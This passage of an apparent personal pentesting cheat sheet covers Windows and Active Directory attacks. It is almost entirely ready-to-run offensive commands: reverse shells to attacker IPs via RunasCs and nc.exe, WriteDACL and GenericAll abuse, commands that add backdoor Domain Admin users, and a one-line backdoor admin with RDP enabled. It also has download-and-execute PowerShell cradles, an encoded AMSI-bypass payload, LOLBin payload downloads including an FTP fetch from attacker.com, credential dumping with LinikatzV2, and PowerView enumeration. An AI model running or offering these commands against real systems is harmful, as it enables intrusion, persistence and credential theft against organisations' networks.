# /sc - Task will only run once. Starting date and time dosent matter because of this.

</syntaxhighlight>

== Shell - Changing user if you have a shell ==

<syntaxhighlight lang="bash">
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.
# Invoke-RunasCs.exe
# https://github.com/antonioCoco/RunasCs
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443

# RunAsUser.exe
# https://github.com/atthacks/RunAsUser
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a '10.10.14.12 9001 -e cmd.exe'

# Try writing a ps1 script to use runas command
# cat runme.ps1
$secpasswd = ConvertTo-SecureString "trustno1" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("svc_msssql", $secpasswd)
$computer = "access.offsec"
[System.Diagnostics.Process]::Start("C:\xampp\htdocs\uploads\shell.exe","", $mycreds.Username, $mycreds.Password, $computer)
# or
$creds = New-Object System.Management.Automation.PSCredential ("example.com\tan", (ConvertTo-SecureString "Password" -AsPlainText -Force))
Get-DomainUser -Credential $creds
# Abusing WriteDACL
# What is WriteDACL?
## It's an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.
# See also this for more attack path
https://www.thehacker.recipes/ad/movement/dacl/grant-rights
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:
PS C:\tools> Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:
PS C:\tools> Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}

# Anoter Example of Abusing WriteDACL
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group
$SecPassword = ConvertTo-SecureString 'test' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Mailadmins" -PrincipalIdentity user1-Rights All
# Now we can add ourselvs to the group by using PowerViews
Add-DomainGroupMember -Identity "mailadmins" -Members sqlsvc -Credential $Cred
</syntaxhighlight>

== Basic commands ==

=== CMD ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info
# DOMAIN INFO
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
net groups /domain #List of domain groups
net group "domain computers" /domain #List of PCs connected to the domain
net view /domain #Lis of PCs of the domain
nltest /dclist: #List domain controllers
net group "Domain Controllers" /domain #List PC accounts of domains controllers
net group "Domain Admins" /domain #List users with domain admin privileges
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
net user /domain #List all users of the domain
net user /domain #Get information about that user
net accounts /domain #Password and lockout policy
nltest /domain_trust #Mapping of the trust relationships.
------------------------------------------------------------------------
# USERS
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
qwinsta #Anyone else logged in?
net user /add [username] [password] #Create user
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user\ "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
------------------------------------------------------------------------
# GROUPS
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain #Users that belongs to the group
------------------------------------------------------------------------
# PERSISTENCE WITH USERS
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
------------------------------------------------------------------------
# FIREWALL
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
::How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
::Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
::Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
</syntaxhighlight>

=== PowerShell ===

<syntaxhighlight lang="powershell">
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters
# Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
------------------------------------------------------------------------
# Basic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module
Get-Command -Module
------------------------------------------------------------------------
# Download and Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
------------------------------------------------------------------------
# Download and Exectute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
------------------------------------------------------------------------
# Using Base64 from Linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc
# Enumerate GenericAll using PowerView
## To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## If you have GenericAll on user account, change the password
net user user1 pass123 /domain
# To enumerate domain groups that the current user has explicit access rights to:
PS C:\tools> Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## With GenericAll rights on a group, a user can add themselves or other users to that group:
net group testgroup User2 /add /domain
# Enumerate PowerShell Console history
(Get-PSReadlineOption).HistorySavePath
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

</syntaxhighlight>

=== Download file from attacker to target ===

[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]

See my cheatsheet also.

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="powershell">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

== adPEAS ==

[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]

adPEAS consists of the following enumeration modules:

* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights

* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates

* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.

* Delegation - Searching for delegation issues, like 'Constrained Delegation', 'Unconstrained Delegation' and 'Resource Based Unconstrained Delegation', for computer and user accounts

* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire

* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities

* Bloodhound - Enumerating Active Directory with BloodHound

<syntaxhighlight lang="powershell">
# Load adPEAS in PowerShell.
Import-Module .\adPEAS.ps1 # Method 1
. .\adPEAS.ps1 # Method 2
gc -raw .\adPEAS.ps1 | iex # Method 3
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1') # Method 4
-----------------------------
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.
Invoke-adPEAS
#Start adPEAS with all enumeration modules and enumerate the domain 'contoso.com'.
Invoke-adPEAS -Domain 'contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for almost all enumeration requests.
Invoke-adPEAS -Domain 'contoso.com' -Server 'dc1.contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the passed PSCredential object during enumeration.
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword)
Invoke-adPEAS -Domain 'contoso.com' -Cred $Cred
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the username 'contoso\johndoe' with password 'Passw0rd1!' during enumeration.
Invoke-adPEAS -Domain contoso.com -Username 'contoso\johndoe' -Password 'Passw0rd1!'
</syntaxhighlight>

== LiniKatzV2 ==

This tool needs '''root privileges''' to be run on the host system.

<syntaxhighlight lang="bash">
https://github.com/Orange-Cyberdefense/LinikatzV2
# It allows extraction of :
# - Hashed stored in files for offline connection (SHA-512 format)
# - Kerberos tickets (user & machine)
# - Clear passwords in RAM
# - NTLM machine hash
# - AES-128 & AES-256 machine keys
$ sudo ./linikatzV2.sh
</syntaxhighlight>

== Purple-Knight ==

[https://www.purple-knight.com/ https://www.purple-knight.com/]

== Fores-Druid ==

[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]

== PowerView (Enumeration and lateral movement) ==

[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]

The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]

[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]

<syntaxhighlight lang="bash">
# Quick Enumeration
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

-----------------------
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
---------------
# Users, Groups, Computers and OU's
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
-----------------------
# Logon and sessions
Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName #Get active sessions on the host
Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host)

---------------
# Group Policy Object - GPOs
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
--------------
# ACL
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
-------------------
# Shared files and folders
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
-----------------------
# Domain trust
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
---------------------
# Check for low-hangig fruit
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
